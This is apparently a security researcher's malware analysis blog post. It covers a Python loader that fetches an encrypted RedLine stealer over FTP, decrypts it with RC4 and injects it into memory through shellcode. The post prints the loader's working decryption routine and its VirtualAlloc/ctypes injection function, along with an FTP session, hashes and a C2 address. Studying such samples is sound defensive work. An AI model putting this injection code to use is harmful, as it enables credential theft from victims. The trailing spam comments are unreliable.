RedLine Stealer Delivered Through FTP
Here is a piece of malicious Python script that injects a RedLine[1] stealer into its own process. Process injection is a common attacker’s technique these days (for a long time already). The difference, in this case, is that the payload is delivered through FTP! It’s pretty unusual because FTP is today less and less used for multiple reasons (lack of encryption by default, complex to filter with those passive/active modes). Support for FTP has even been disabled by default in Chrome starting with version 95! But FTP remains a common protocol in the IoT/Linux landscape with malware families like Mirai. My honeypots still collect a lot of Mirai samples on FTP servers. I don't understand why the attacker chose this protocol because, in most corporate environments, FTP is not allowed by default (and should definitely not be!).
The Python script contains the credentials and FTP server IP address. When you connect manually, you can list a bunch of different payloads but the one used in this case is 001.enc.
remnux@remnux:/MalwareZoo/20220119$ ftp x.x.x.x Connected to x.x.x.x. 220-FileZilla Server 0.9.60 beta 220-written by Tim Kosse (tim.kosse@filezilla-project.org) 220 Please visit https://filezilla-project.org/ Name (62.109.1.213:root): launcher 331 Password required for launcher Password: 230 Logged on Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||58066|) 150 Opening data channel for directory listing of "/" -r--r--r-- 1 ftp ftp 228352 Jan 17 21:25 001.ENC -r--r--r-- 1 ftp ftp 228352 Jan 17 21:25 002.ENC -r--r--r-- 1 ftp ftp 879104 Jan 17 09:26 11.ENC -r--r--r-- 1 ftp ftp 675840 Aug 14 2021 1650.ENC -r--r--r-- 1 ftp ftp 675328 Dec 11 2021 167.ENC -r--r--r-- 1 ftp ftp 675328 Jan 02 13:01 1680.ENC 226 Successfully transferred "/" ftp>
The payload is encrypted and the following function does the job to decrypt the PE file:
def encode_data(data): key = b"JHGIEKC6U" S = bytearray(range(256)) j = 0 out = bytearray() for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i] , S[j] = S[j] , S[i] i = j = 0 for char in data: i = ( i + 1 ) % 256 j = ( j + S[i] ) % 256 S[i] , S[j] = S[j] , S[i] out.append(char ^ S[(S[i] + S[j]) % 256]) return(bytes(out))
Like I said to my students when I'm teaching FOR610, when you are investigating an incident, the way the payload was encrypted/encoded is less relevant. The payload in itself is important. To extract the PE file, I just wrote a quick Python script that replicates this function and dumps the payload into a file.
The decrypted payload SHA256 is 0eeb332efa3c20c2f3d85d07d844ba6150bdee3c1eade52f0f2449c3d2727334 and is unknown on VT at this time.
The script also has a hex-encoded shellcode. Why do we have a shellcode and another payload? Here is the function used to inject the code:
def runpe(peimage): filepathenv = "%ProgramFiles%\\Internet Explorer\\iexplore.exe" filepath = os.path.expandvars(filepathenv) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p p = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(sc)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(p), sc, ctypes.c_int(len(sc))) q = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(peimage)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(q), peimage, ctypes.c_int(len(peimage))) run = ctypes.cast(p, ctypes.WINFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p)) run(filepath.encode('utf8')+b'\x00', q)
You see that two calls to VirtualAlloc()
are performed. The first one is used to load the shellcode into memory and the second to load the payload (RedLine itself). The most interesting line is the one with the ctypes.cast()
. This function allows casting the shellcode to act as a function pointer. Once completed, the shellcode can be called like any standard Python function:
run(filepath.encode('utf8')+b'\x00', q)
Through the shellcode, Python will execute RedLine that has been injected in memory before. My sample tried to connect to the following C2 but it was offline (78[.]24[.]222[.]162:37819).
The initial Python script (SHA256:e6d6451b82a03a3199770c490907ef01c401cc44826162a97d0f22aa9c122619) has a VT score of 14/58[2].
[1] https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer
[2] https://www.virustotal.com/gui/file/e6d6451b82a03a3199770c490907ef01c401cc44826162a97d0f22aa9c122619
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
https://defineprogramming.com/
Dec 26th 2022
8 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
8 months ago
rthrth
Jan 2nd 2023
8 months ago